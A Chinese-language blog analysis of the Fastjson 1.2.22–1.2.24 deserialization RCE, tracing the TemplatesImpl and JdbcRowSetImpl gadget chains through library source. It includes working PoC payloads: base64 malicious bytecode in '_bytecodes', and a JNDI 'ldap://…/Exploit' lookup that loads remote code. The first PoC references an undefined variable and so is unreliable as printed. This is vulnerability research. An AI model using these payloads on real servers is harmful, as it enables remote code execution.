Fastjson分析系列--1.2.22-1.2.24反序列化漏洞分析

前言

本文为Fastjson1.2.22-1.2.24反序列化漏洞分析。

主要利用链分为基于TemplateImpl的利用链和基于JdbcRowSetImpl的利用链

TemplateImpl利用链

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());

}

public static void test_auto() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "/Users/lih3iu/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);


}

public static void main(String args[]){

try {
test();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用链分析

断点下在JSON.parseObject并跟进

JSON#praseObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) {
if (input == null) {
return null;
} else {
if (features != null) {
Feature[] var6 = features;
int var7 = features.length;

for(int var8 = 0; var8 < var7; ++var8) {
Feature feature = var6[var8];
featureValues |= feature.mask;
}
}

DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
....

T value = parser.parseObject(clazz, (Object)null);
parser.handleResovleTask(value);
parser.close();
return value;
}
}

先通过传进去的feature也就是我们设置的Feature.SupportNonPublicFields生成FeatureValues并作为参数传入DefaultJSONParser类中初始化生成一个parser,然后调用parser中的parserObject来解析clazz。

DefaultJSONParser#parseObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public <T> T parseObject(Type type, Object fieldName) {
int token = this.lexer.token(); //token=12
if (token == 8) {
this.lexer.nextToken();
return null;
} else {
if (token == 4) {
if (type == byte[].class) {
byte[] bytes = this.lexer.bytesValue();
this.lexer.nextToken();
return bytes;
}

if (type == char[].class) {
String strVal = this.lexer.stringVal();
this.lexer.nextToken();
return strVal.toCharArray();
}
}

ObjectDeserializer derializer = this.config.getDeserializer(type);

try {
return derializer.deserialze(this, type, fieldName);
} catch (JSONException var6) {
throw var6;
} catch (Throwable var7) {
throw new JSONException(var7.getMessage(), var7);
}
}
}

通过getDeserializer函数或者对应类型的反序列化器,并进行反序列化

JavaObjectDeserializer#deserialze

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
if (type instanceof GenericArrayType) {
Type componentType = ((GenericArrayType)type).getGenericComponentType();
if (componentType instanceof TypeVariable) {
TypeVariable<?> componentVar = (TypeVariable)componentType;
componentType = componentVar.getBounds()[0];
}

List<Object> list = new ArrayList();
parser.parseArray(componentType, list);
if (componentType instanceof Class) {
Class<?> componentClass = (Class)componentType;
Object[] array = (Object[])((Object[])Array.newInstance(componentClass, list.size()));
list.toArray(array);
return array;
} else {
return list.toArray();
}
} else {
➡️ return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
}
}

由于type为Object.class类型,所以进入parse函数

DefaultJSONParser#parse

1
2
3
4
5
6
7
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
...
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在Feature.OrderField选项关闭的情况下进入一个新的parseObject函数(返回类型为Object)

DefaultJSONParser#parseObject(return Object)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public final Object parseObject(Map object, Object fieldName) {
JSONLexer lexer = this.lexer;
try {
boolean setContextFlag = false;

while(true) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while(ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}

boolean isObjectKey = false;
Object key;
ParseContext contextR;
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}

进行json内容解析扫描,通过skipWhitespace函数进行空格去除,然后拿到当前字符,如果是双引号的,再次通过scanSymbol函数进行解析扫描

wX01Wn.png

在扫描到双引号的情况下停止并返回

wX01Wn.png

所以我们此时得到了value为@type的key变量,再接着向下跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
}

条件满足key并且DisableSpecialKeyDetect选项关闭,接着进行扫描,扫描下一个双引号中的内容,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并且通过loadclass加载此类,跟进loadclass

TypeUtils#loadclass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}

通过loadclass加载到目标类并返回,然后将className与clazz放入缓存mappings,这里做缓存可以更方便下次调用,避免重复的loadclass耗费资源

接着回到parseObject函数中,再次进入deserilaze函数做反序列化处理

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

JavaBeanDeserializer#deserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
.....

label1013: {
if (!matchField) {
key = lexer.scanSymbol(parser.symbolTable);
if (key == null) {
token = lexer.token();
if (token == 13) {
lexer.nextToken(16);
break label1013;
}

if (token == 16 && lexer.isEnabled(Feature.AllowArbitraryCommas)) {
break label1068;
}
}

通过scanSymbol再次扫描双引号,获得_bytecode恶意代码字段,并且通过parseField函数对此字段进行解析

JavaBeanDeserializer#parseField

1
2
3
4
5
6
7
8
9
10
11
12
13
    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
FieldDeserializer fieldDeserializer = this.smartMatch(key);
int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
....
}
} else {
lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
➡️ ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
return true;
}
}

再次跟进parseField函数

DefaultFieldDeseriailizer#parseField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
if (this.fieldValueDeserilizer == null) {
this.getFieldValueDeserilizer(parser.getConfig());
}


...
Object value;
if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer;
value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures);
} else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures);
} else {
value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
}

...

if (parser.getResolveStatus() == 1) {
ResolveTask task = parser.getLastResolveTask();
task.fieldDeserializer = this;
task.ownerContext = parser.getContext();
parser.setResolveStatus(0);
} else if (object == null) {
fieldValues.put(this.fieldInfo.name, value);
} else {
this.setValue(object, value);
}

最后进入关键方法FieldDeserializer#setvalue,主要代码如下

1
field.set(object, value);

wXcXDI.png

成功将_bytecodes变量设置为恶意类,接下来_outputProperties的检测同样如此

通过

1
Method method = this.fieldInfo.method;

检测出反序列化调用的getter进行反射调用getoutputProperties方法

跟进此方法

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

跟进newTransformer

1
2
3
4
5
6
7
8
9
10
    public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

...
}

跟进getTransletInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}

跟进defineTransletClasses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

在这段代码中首先要注意下_tfactory.getExternalExtensionsMap,这里也就是为什么我们要将字段中的_tfactory设置为{}的原因,防止后续产生报错

wXg7d0.png

将恶意类定义,并进行了父类的判断,然后再在getTransletInstance中通过newInstance函数将恶意类实例化,触发命令执行

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

完整调用链如下

wXgvQJ.png

JdbcRowSetImpl利用链

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1387/Exploit\"," +
" \"autoCommit\":true}";
/* String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";*/
JSON.parse(payload);
}

}

调用链分析

前面一直到loadclass一直都是一样的,这里就不再赘述

wxyFmR.png

反序列化解析类的过程依然是先遍历一遍属性,然后接着解析json,拿到键值

wxcMdI.png

再跟进parseObject

JavaBeanDeserializer#parseObject

wxgpp8.png

接着跟进其中的parseField方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
if (this.fieldValueDeserilizer == null) {
this.getFieldValueDeserilizer(parser.getConfig());
}

Type fieldType = this.fieldInfo.fieldType;
if (objectType instanceof ParameterizedType) {
ParseContext objContext = parser.getContext();
if (objContext != null) {
objContext.type = objectType;
}

fieldType = FieldInfo.getFieldType(this.clazz, objectType, fieldType);
this.fieldValueDeserilizer = parser.getConfig().getDeserializer(fieldType);
}

Object value;
if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer;
value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures);
} else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures);
} else {
value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
}

if (parser.getResolveStatus() == 1) {
ResolveTask task = parser.getLastResolveTask();
task.fieldDeserializer = this;
task.ownerContext = parser.getContext();
parser.setResolveStatus(0);
} else if (object == null) {
fieldValues.put(this.fieldInfo.name, value);
} else {
this.setValue(object, value);
}

}

熟悉的setValue反射调用method

wxgacD.png

跟进所反射的方法

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

跟进connect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
➡️ DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

在上面我们通过setDataSourceName函数进行了变量设置

1
2
3
4
5
6
7
8
9
10
11
12
13
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}

}

所有这里变量可控,即可造成rmi/ldap注入,完成调用

总结

相比来看,TemplateImpl这条利用链是有一定的限制的,还要设置Feature.SupportNonPublicField这个条件才能触发

对于JdbcRowSetImpl这条链来讲,更多的限制体现在jdk版本的限制,在高版本下是有对rmi以及Idap注入的限制的

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191,不过如果环境本身classpath存在可利用的Gadgets,也是可以利用的。

版本的限制影响如下

wzt5Of.jpg

参考链接

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/6633